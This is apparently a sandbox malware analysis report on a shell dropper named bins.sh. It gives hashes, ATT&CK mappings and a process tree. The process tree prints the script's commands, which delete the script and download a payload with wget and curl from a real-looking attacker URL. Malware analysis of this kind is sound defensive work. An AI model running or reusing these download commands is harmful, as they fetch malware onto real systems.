3a40eb65eda7eeffc2b4505a83b24bfe0a9e6af0fea04cc17f2f6ef628368304

Analysis

max time kernel
150s
max time network
6s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01-12-2024 08:07

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General

Target

bins.sh
Size

10KB
MD5

ad544eb0c3f8ca92e0175cde763a391e
SHA1

ad38b1fbea994d47a961a7e6f5e825b4ff6d819b
SHA256

3a40eb65eda7eeffc2b4505a83b24bfe0a9e6af0fea04cc17f2f6ef628368304
SHA512

0a53adf43bbe8fe7c87920f2fd946db9d4deaadcfefc88c08de48200e262a50de9970c324067ef3bb7fb7cc5881f4068ad794a93eb360dd8f633f9f333e8cc22
SSDEEP

96:YSqdz7LHbILcC8mc1RJxmWrFlkqo10C1km10Xy6/xoPjAL5RoS3G323yLKC3ZxaE:Uz7Iwtx8q97r1hAuezBtx8qD7r1X

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurl

pid	Process
675	wget
682	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:667
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:669
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  2⤵
  - System Network Configuration Discovery
  PID:675
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:682

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/682-1-0xb675a000-0xb676b044-memory.dmp

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